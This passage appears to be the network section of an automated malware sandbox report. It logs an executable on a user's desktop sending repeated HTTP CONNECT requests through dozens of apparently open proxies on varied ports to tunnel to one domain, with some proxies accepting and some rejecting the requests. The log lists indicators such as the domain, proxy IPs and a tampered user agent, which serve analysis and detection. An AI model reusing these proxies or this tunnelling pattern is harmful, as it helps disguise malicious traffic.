Mar 11, 2024 15:21:10.342700958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1663	192.168.2.9	55112	103.163.51.254	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.343283892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1664	192.168.2.9	55127	45.120.178.197	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.389339924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1665	192.168.2.9	53638	156.67.115.5	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.391957998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1666	192.168.2.9	55124	195.138.65.34	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.398551941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1667	192.168.2.9	55129	14.103.24.20	8000	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.398722887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1668	192.168.2.9	55123	94.45.74.60	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.404752016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1669	192.168.2.9	54844	42.49.148.167	9001	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.422116041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.908679962 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1670	192.168.2.9	55111	43.231.22.229	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.451132059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1671	192.168.2.9	54939	203.218.172.225	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.457371950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1672	192.168.2.9	55143	104.200.152.30	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.475706100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1673	192.168.2.9	55122	103.153.154.6	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.478418112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.914395094 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 14:21:10 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1674	192.168.2.9	55050	162.241.45.22	63501	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.514985085 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.649904013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700577021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.700932026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.700236082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:46.715632915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:58.715632915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:22.715610027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:10.715493917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1675	192.168.2.9	55135	125.122.26.242	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.522186995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1676	192.168.2.9	53744	162.243.55.12	50941	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.527508020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.650018930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700619936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.700923920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1677	192.168.2.9	53703	91.201.240.84	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.531462908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1678	192.168.2.9	54992	203.19.38.114	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.532838106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.649960995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700577021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.700932026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.298141003 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 Date: Mon, 11 Mar 2024 14:21:23 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1679	192.168.2.9	53752	223.206.142.49	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.533159018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.773123980 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1680	192.168.2.9	55136	51.89.173.40	31724	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.539514065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.200534105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.200406075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1681	192.168.2.9	54945	113.143.37.82	9002	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.539869070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1682	192.168.2.9	55138	121.159.146.251	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.542380095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1683	192.168.2.9	55139	87.106.114.124	6005	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.574455023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1684	192.168.2.9	53815	72.167.221.145	42043	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.578402996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.650084019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.700577021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1685	192.168.2.9	51387	201.71.2.41	999	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.611686945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.897851944 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1686	192.168.2.9	55145	79.110.202.131	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.709850073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1687	192.168.2.9	51506	107.180.90.42	10670	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.715100050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1688	192.168.2.9	55116	102.132.50.6	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.716423988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1689	192.168.2.9	55153	188.166.17.18	8881	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.718856096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1690	192.168.2.9	54296	199.229.254.129	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.782577991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1691	192.168.2.9	55034	103.36.35.135	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:10.783710003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.825397015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.825707912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:22.825558901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.825176954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:46.825083971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:58.826963902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:22.840902090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:10.856408119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
